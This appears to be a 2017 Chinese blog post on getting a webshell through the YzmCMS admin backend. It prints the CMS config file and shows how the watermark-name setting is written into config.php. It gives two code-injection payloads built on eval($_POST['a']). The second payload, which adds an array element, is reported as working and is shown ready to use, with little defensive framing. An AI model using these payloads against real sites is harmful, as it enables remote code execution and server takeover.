Yzmcms后台拿shell
时间:2017-03-08 21:22:52
收藏:0
阅读:1572
废话不多说,直入正题
首先function.php
可以看到此方法是用数组遍历的方式写入到/config/config.php
打开config.php看看
<?php return array( //系统配置 ‘site_theme‘ => ‘default‘, //站点默认主题目录 ‘url_html_suffix‘ => ‘.html‘, //URL伪静态后缀 //数据库配置 ‘db_type‘ => ‘mysqli‘, // 数据库链接扩展【暂支持 mysql 和 mysqli】 ‘db_host‘ => ‘127.0.0.1‘, // 服务器地址 ‘db_name‘ => ‘yzmcms‘, // 数据库名 ‘db_user‘ => ‘root‘, // 用户名 ‘db_pwd‘ => ‘root‘, // 密码 ‘db_port‘ => 3306, // 端口 ‘db_prefix‘ => ‘yzm_‘, // 数据库表前缀 //路由配置 ‘route‘ => array(‘m‘=>‘index‘, ‘c‘=>‘index‘, ‘a‘=>‘init‘), //默认加载配置,基中“m”为模型,“c”为控制器,“a”为事件 //Cookie配置 ‘cookie_domain‘ => ‘‘, //Cookie 作用域 ‘cookie_path‘ => ‘/‘, //Cookie 作用路径 ‘cookie_ttl‘ => 0, //Cookie 生命周期,0 表示随浏览器进程 ‘cookie_pre‘ => ‘yzmphp_‘, //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀 ‘cookie_secure‘ => false, //是否通过安全的 HTTPS 连接来传输 cookie //系统语言 ‘language‘ => ‘zh_cn‘, //【暂支持 简体中文zh_cn 和 美式英语en_us】 //附件相关配置 ‘upload_file‘ => ‘uploads‘, //上传文件目录,后面一定不要加斜杠(“/”) ‘watermark_enable‘ => ‘1‘, //是否开启图片水印 ‘watermark_name‘ => ‘mank.png‘, //水印名称 ‘watermark_position‘ => ‘9‘, //水印位置 ); ?> |
用return array()把所有配置定义成一个数组
33行水印名称这里可以从后台控制
系统管理 > 系统设置 > 附加设置
这时候你一定想到了在水印名称处闭合单引号插一句话到config.php中
如这样:
‘,);?><?php eval($_POST[‘a’])?>
成功闭合插入,那么问题来了,连不上
当时我就懵逼了
可能是程序有一些防护措施,于是试了几个珍藏多年的过狗一句话
自信满满的写入进去,依然连不上
当时我的心情是这样的
这tm不科学啊
赶紧去问了问fly师傅
得知是因为return出去了,可以闭合单引号添加数组的思路来搞一搞
和几个朋友讨论后搞出了这样的思路
‘,’test’=>”${@eval($_POST[‘a’])};”,’a’=>’
成功连接
以后会多出一些审计的文章,发现不玩审计不知道,一玩才发现自己是真的菜唉–
评论(0)